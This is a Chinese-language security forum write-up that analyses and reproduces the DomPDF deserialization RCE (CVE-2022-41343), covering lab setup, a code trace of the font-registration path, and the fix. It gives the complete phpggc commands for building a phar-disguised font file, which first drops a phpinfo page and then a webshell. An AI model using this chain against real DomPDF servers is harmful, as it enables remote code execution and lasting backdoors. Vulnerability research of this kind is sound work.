[原创]DomPDF库反序列化RCE漏洞分析-WEB安全-看雪-安全社区|安全招聘|kanxue.com

[原创]DomPDF库反序列化RCE漏洞分析

发表于: 2022-12-21 11:24 994

[原创]DomPDF库反序列化RCE漏洞分析

爱蹦跶的小跳

2022-12-21 11:24

994

本文作者：KR实验室-River

漏洞原文链接

034K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6@1j5h3&6@1L8%4y4W2j5#2)9J5k6h3y4G2L8g2)9J5c8X3u0D9L8$3N6Q4x3V1k6U0N6X3g2Q4x3X3b7J5x3o6t1J5i4K6u0V1y4o6p5K6y4o6y4Q4x3V1j5`.

漏洞描述

Dompdf 是 PHP 中一个流行的库，用于从 HTML 中呈现 PDF 文件。Tanto 安全公司在 Dompdf 发现了一个影响2.0.0及以下版本的漏洞。这个漏洞是在 Dompdf v2.0.1中修补的。目前建议所有 Dompdf 用户尽快更新到最新版本。利用该漏洞会导致远程代码执行。

漏洞影响

DomPDF <= 2.0.0 & PHP <= 7.x

漏洞复现

环境搭建

系统环境

• CentOS 7

PHP环境安装

这里选择使用小皮面板搭建PHP环境

由于docker版本的小皮面板存在部分环境配置问题，直接选择了无docker版本的搭建方式
yum install -y wget && wget -O install.sh 535K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6F1L8%4c8V1L8$3y4C8k6i4u0Q4x3X3g2^5M7q4)9J5k6h3y4F1i4K6u0r3K9h3&6K6N6r3q4D9L8q4)9J5k6i4y4Z5 && sh install.sh

注意搭建环境前先进行环境备份或虚拟机快照、docker镜像输出等。
命令执行完毕后使用“xp”命令即可在命令行调出小皮面板
关闭虚拟机防火墙后即可在宿主机使用浏览器访问小皮面板并进行相关配置
在这里选择了安装以下软件环境：
- php 7.1.31
- nginx 1.15
- composer 2.1

3.1.2

web站点建立

新建配置如下的网站
在系统中利用composer安装DomPDF库 2.0.0 版本

composer require dompdf/dompdf:2.0.0
在wwwroot目录下新建php后端控制层（gen_pdf.php）
在wwwroot目录下新建前端页面（index.html）
利用内网ip访问前端页面
输入以下代码进行测试

1
2
3
4
5
<html>
     <body>
      <h1>Hello Dompdf</h1>
     </body>
    </html>
发现成功生成pdf

POC验证

利用进行简单修改后的官方POC进行漏洞验证，整体的执行流程与官方的验证流程一致，执行结果如下（以上传phpinfo为例）：

漏洞分析

漏洞调试

DomPDF 2.0.0版本中增加的内容：$allowedProtocols 验证列表，仅允许 file://，e4bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8W2!0q4c8W2!0n7b7#2)9^5b7$3S2@1N6s2m8K6i4K6y4m8i4K6u0r3i4K6u0r3i4@1f1K6i4K6R3H3i4K6R3J5i4@1f1#2i4K6W2o6i4@1p5^5M7%4u0U0i4K6u0r3e0%4c8A6L8$3&6K6i4K6u0W2M7r3S2H3
src/Css/Stylesheet.php
这里因为默认禁用了phar一定程度解决了之前的问题
导致CVE-2022-41343的原因：src/FontMetrics.php的以下函数

这里的第一个if验证了协议但是即使不满足也不会退出，而是会继续执行剩余代码
这样的问题导致，我们可以通过data协议写入一个phar文件然后通过phar协议发送请求来触发反序列化。
根据上文所述的漏洞函数位置，在以下部分尝试输出日志信息（以下文件均为DomPDF库中的src路径作为根路径的文件）
- ./Dompdf.php
- ./Helpers.php
数次请求后输出的日志如下
- DomPDF
- Helpers
  
  可以看到这里控制层输入的参数都能正常输入到DomPDF中，但是在Helpers中从未出现data协议或phar协议。
重新阅读官方文档，发现遗漏了一个关键的函数（src/Css/Stylesheet.php）

利用日志逐步调试
首先在该函数内输出日志信息，获得的日志信息如下：

发现普遍是系统css文件的加载，并没有我们传入的data协议的数据流入。
发现临近的另一个函数：load_css()

在这里输出日志可以发现，从控制层传入的数据正常流入了这个部分

1666328892 in function load_css      @font-face {         font-family:'exploit';         src:url('data:text/plain;base64,AAEA  …… 1C');         font-weight:'normal';         font-style:'normal';     } 
1666328892 in function _parse_css match something      @font-face {         font-family:'exploit';         src:url('data:text/plain;base64,AAEA …… 1C');         font-weight:'normal';         font-style:'normal';     } 
1666328892 in function _parse_css match something font-face

可以看到这里匹配了font-face属性，随后跟随内部函数__parse_font_face()继续深入分析

1	`1666328892` `in` `function _parse_font_face font-family:'exploit'; src:url('data:text/plain;base64,AAEA …… 1C'); font-weight:'normal'; font-style:'normal';`

可以看到这里已经传入了我们传进来的参数，随后继续观察该函数，发现其中在该函数的最后的部分调用了官方文档中提到的registerFont()函数
进入该函数中，利用日志首先检查传入该函数的内容

1
1666338693 in function registerFont data:text/plain;base64,AAEA …… Qg==
可以看到我们的恶意的请求已经加载了进来，不难注意到，在这个函数中有以下几个可疑的部分存在
随后去查看本地的临时文件目录（/tmp）下是否存在尝试上传的字体文件，发现并没有，根据日志排查发现问题出现在如下这一行代码中的返回的字体变量（$font）为空

1
$font = Font::load($localTempFile);
进入该load函数继续进行排查，发现函数结构还是比较清晰的
可以看到主要就是截取文件的前四个字符，根据内容特征判别文件类型随后根据类型进行加载，而我们这里使用的字体文件使用文本编辑器打开后与系统自带的字体文件对比发现其中多出来了一个文件路径
删除这一行路径后发现可以正常完成匹配了

1
2
1666338693 class FontLib\TrueType\File
1666338693 class /tmp/dompdf-font-vjRVzD
随后再去/tmp文件夹下查看即可发现字体文件写入成功
跟随第7步的代码继续往下，可以发现下一个问题是ufm文件不能正常写入，排查后发现实际是文件夹权限问题。由于小皮面板默认是赋予root权限的，因此其网站文件夹下均仅支持root用户添加文件，因此执行以下代码对文件夹进行降权后即可正常写入

1
sudo chmod 777 /www/admin/a.com_80/wwwroot/vendor/dompdf/dompdf/lib/fonts
随后执行第二部分payload即可正常触发反序列化漏洞

后门字体文件上传（漏洞核心逻辑）流程

4.2

在用户输入POC产生的第一步的恶意payload后通过DomPDF提供的loadHTML()方法开始进行html解析。如果这一步获取的html代码中带有css代码，则会调用Stylesheet.php中的load_css()方法。如果在该方法中判定含有font-face(即字体文件引入)，则调用registerFont()方法进行处理，在处理过程中虽然会有协议验证，但是由于对白名单的校验逻辑错误，导致可以进行恶意字体文件写入。

复现过程中遇到的问题及解决方法

漏洞复现发现分别输入两个payload后不能正常生成文件

问题描述

在完成通用字体的输出以及phar文件的生成并执行poc后不能正常在靶机上生成恶意字体文件

解决方法

最终发现问题是ufm文件不能正常写入，排查后发现实际是文件夹权限问题。由于小皮面板默认是赋予root权限的，因此其网站文件夹下均仅支持root用户添加文件，因此执行以下代码对文件夹进行降权后即可正常写入

1	`sudo chmod` `777` `/www/admin/a.com_80/wwwroot/vendor/dompdf/dompdf/lib/fonts`

5.1.2

PHPGCC反序列化利用工具问题解决方法

在前文还提到了一个问题，就是在利用phpggc工具生成后门字体文件的时候出现了不能正常使用带空格的命令的问题，今天正好在编写poc和exp，顺手进行一个临时性的修复。具体的方案就是修改/phpggc-master/lib/PHPGGC.php中的generate函数，手动拼接被识别为多个参数的参数

随后重新执行命令

1	`php` `-d phar.readonly=0` `./phpggc Monolog/RCE1 system` `"echo '<?php phpinfo();?>'>/www/admin/a.com_80/wwwroot/test.php"` `-p phar` `-pp` `/home/river/downloads/font.ttf` `-o` `/home/river/downloads/font-phpinfo.phar`

成功得到带有phpinfo的后门字体文件，再利用该文件进行payload生成即可。

官方POC的一点小问题

官方的poc在生成data_uri_pure的时候会进行两次url编码，经过实际测试是不需要的，加上以后反而无法成功利用漏洞。
如果要在代码固定一个base64的字符串，要注意url编码的问题。

POC结果（phpinfo）

后门字体文件生成

1	`php` `-d phar.readonly=0` `./phpggc Monolog/RCE1 system` `"echo '<?php phpinfo();?>'>/www/admin/a.com_80/wwwroot/test.php"` `-p phar` `-pp` `/home/river/downloads/font.ttf` `-o` `/home/river/downloads/font-phpinfo.phar`

利用POC生成payload
直接将未encoded的payload复制到前文环境中的输入框中点击生成pdf即可成功利用
POC验证

EXP结果（RCE）

后门字体文件生成

1	`php` `-d phar.readonly=0` `./phpggc Monolog/RCE1 system` `"echo '<?php system(\$_GET[0]);?>'>/www/admin/a.com_80/wwwroot/test.php"` `-p phar` `-pp` `/home/river/downloads/font.ttf` `-o` `/home/river/downloads/font-webshell.phar`

利用POC生成payload
直接将未encoded的payload复制到前文环境中的输入框中点击生成pdf即可成功利用
EXP验证

漏洞修复

这个漏洞是在 Dompdf v2.0.1中修补的，建议所有 Dompdf 用户尽快更新安装到最新版本。
访问官方在github上的项目（2dcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8$3#2H3k6r3k6Q4x3V1k6V1L8$3#2H3k6r3k6Q4x3U0W2Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0c8Q4b7U0S2Q4z5p5u0Q4c8e0S2Q4b7V1c8Q4b7V1c8Q4c8e0k6Q4z5f1y4Q4z5o6m8Q4c8e0k6Q4z5e0k6Q4b7U0m8Q4c8e0N6Q4z5o6W2Q4z5o6S2Q4c8e0k6Q4z5f1y4Q4b7f1y4Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0k6Q4b7V1q4Q4z5e0m8Q4c8e0N6Q4b7e0m8Q4z5o6q4Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0g2Q4z5p5k6Q4b7f1k6Q4c8e0c8Q4b7V1u0Q4b7e0g2Q4c8e0g2Q4z5p5k6Q4z5e0q4Q4c8e0N6Q4z5p5g2Q4b7U0m8Q4c8e0g2Q4z5f1y4Q4b7e0S2Q4c8e0k6Q4z5f1y4Q4z5o6m8Q4c8e0g2Q4b7V1y4Q4z5o6m8Q4c8e0g2Q4b7e0N6Q4z5p5u0Q4c8e0g2Q4b7f1k6Q4b7V1y4Q4c8e0S2Q4z5o6N6Q4b7U0c8Q4c8e0S2Q4b7f1k6Q4b7e0g2Q4c8e0k6Q4b7V1y4Q4z5p5k6Q4c8e0k6Q4b7U0c8Q4z5f1g2Q4c8e0N6Q4z5f1q4Q4z5o6c8A6k6W2!0q4y4g2)9^5c8q4)9^5c8W2!0q4z5q4!0m8c8g2!0m8c8g2!0q4y4#2)9&6z5g2!0n7c8q4!0q4y4g2)9&6x3q4)9^5c8q4!0q4y4g2)9^5c8q4)9&6y4g2!0q4y4W2)9&6c8q4!0m8x3g2!0q4y4q4!0n7b7W2!0n7y4W2!0q4y4g2)9^5z5q4!0m8y4q4!0q4y4W2)9&6y4W2!0m8c8q4!0q4z5g2)9^5x3#2!0m8z5q4!0q4y4g2)9^5z5q4)9^5y4W2!0q4y4g2!0n7y4#2!0n7x3W2!0q4y4#2!0n7b7W2)9^5c8W2!0q4z5q4!0m8x3g2!0m8y4g2!0q4y4g2)9^5y4g2)9^5y4g2!0q4y4q4!0n7b7g2)9^5y4Y4u0W2N6s2g2J5L8W2!0q4z5q4!0m8c8W2!0m8c8q4!0q4y4g2)9^5c8W2!0m8y4g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5g2)9^5x3g2!0n7c8W2!0q4y4g2)9^5y4g2)9^5c8q4!0q4y4q4!0n7b7g2)9^5y4W2!0q4z5q4!0m8c8W2!0m8y4g2!0q4y4W2!0n7b7#2)9^5c8W2!0q4y4W2!0n7y4q4)9&6c8g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2)9^5y4#2!0n7b7g2!0q4y4#2)9^5c8g2!0n7x3q4!0q4c8W2!0n7b7#2)9&6b7b7`.`.